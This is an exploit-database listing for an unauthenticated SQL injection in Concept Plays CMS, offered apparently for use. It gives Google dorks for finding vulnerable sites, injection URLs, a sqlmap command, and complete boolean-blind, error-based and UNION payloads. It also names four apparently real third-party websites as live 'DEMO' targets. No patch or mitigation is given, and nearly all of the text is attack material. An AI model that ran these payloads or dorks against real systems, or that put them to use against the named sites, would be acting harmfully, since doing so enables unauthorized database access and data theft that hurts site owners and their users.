[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Concept Plays CMS - SQL Injection Vulnerability

Author
Shelesh Rauthan
Risk
[
Security Risk High
]
0day-ID
0day-ID-23859
Category
web applications
Date add
11-07-2015
Platform
php
=========================================================
[+] Title                 :- Concept Plays CMS - SQL Injection Vulnerability 
[+] Date                  :- 11 - July - 2015
[+] Vendor Homepage       :- http://www.conceptplays.com/
[+] Version               :- All Versions
[+] Tested on             :- Nginx/1.4.5, PHP/5.2.17, Linux - Windows
[+] Category              :- webapps
[+] Google Dorks          :- "Developed By Concept Plays Marketing Solution Co., Ltd."
                             "Developed By Concept Plays Marketing Solution Co., Ltd." +inurl:/.php?id=
[+] Exploit Author        :- Shelesh Rauthan (ShOrTy420 aKa SEB@sTiaN)
[+] Team name             :- Team Alastor Breeze, Intelligent-Exploit
[+] Official Website      :- serverfarming.com, intelligentexploit.com
[+] The official Members  :- Sh0rTy420, P@rL0u$, !nfIn!Ty, Th3G0v3Rn3R, m777k
[+] Greedz to             :- @@lu, Lalit, MyLappy<3, Diksha, DK
[+] Contact               :- fb.com/shelesh.rauthan, indian.1337.hacker@gmail.com, shortycharsobeas@gmail.com
=========================================================
[+] Severity Level          :- High

[+] Request Method(s)       :- GET / POST

[+] Vulnerable Parameter(s) :- id

[+] Affected Area(s)        :- Entire admin, database, Server

[+] About                   :- Unauthenticated SQL Injection via Multiple Php Files causing an SQL error

[+] SQL vulnerable File     :- /home/USERNAME/domains/public_html/XXX.php

[+] POC                     :- http://127.0.0.1/XXX.php?id=[SQL]'

The sql Injection web vulnerability can be be exploited by remote attackers without any privilege of web-application user account or user interaction.

select * from tb_product where active = 1 and id = '1'' <---- sql error :D

PoC:
http://www.[WEBSITE].com/XXX.php?id=570' order by [SQL INJECTION]--+
http://www.[WEBSITE].com/XXX.php?id=570' union all select [SQL INJECTION]--+

SQLMap
++++++++++++++++++++++++++
python sqlmap.py --url "http://127.0.0.1/XXX.php?id=[SQL]" --dbs
++++++++++++++++++++++++++

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 3613=3613 AND 'kZbe'='kZbe

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1' AND (SELECT 4272 FROM(SELECT COUNT(*),CONCAT(0x71627a7071,(SELECT (ELT(4272=4272,1))),0x71766b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'rVYE'='rVYE

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: id=-9052' UNION ALL SELECT NULL,CONCAT(0x71627a7071,0x6e58464c714a50574349,0x71766b7171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---


[+] DEMO :-   http://www.chingcancook.com/steps.php?id=570
              http://designenergy.co.th/view_product.php?id=1
              http://www.lupotops.com/product_detail.php?id=16%27
              http://www.sino-thai.com/product2.php?id=18&type=5%27

#  0day.today [2024-07-03]  #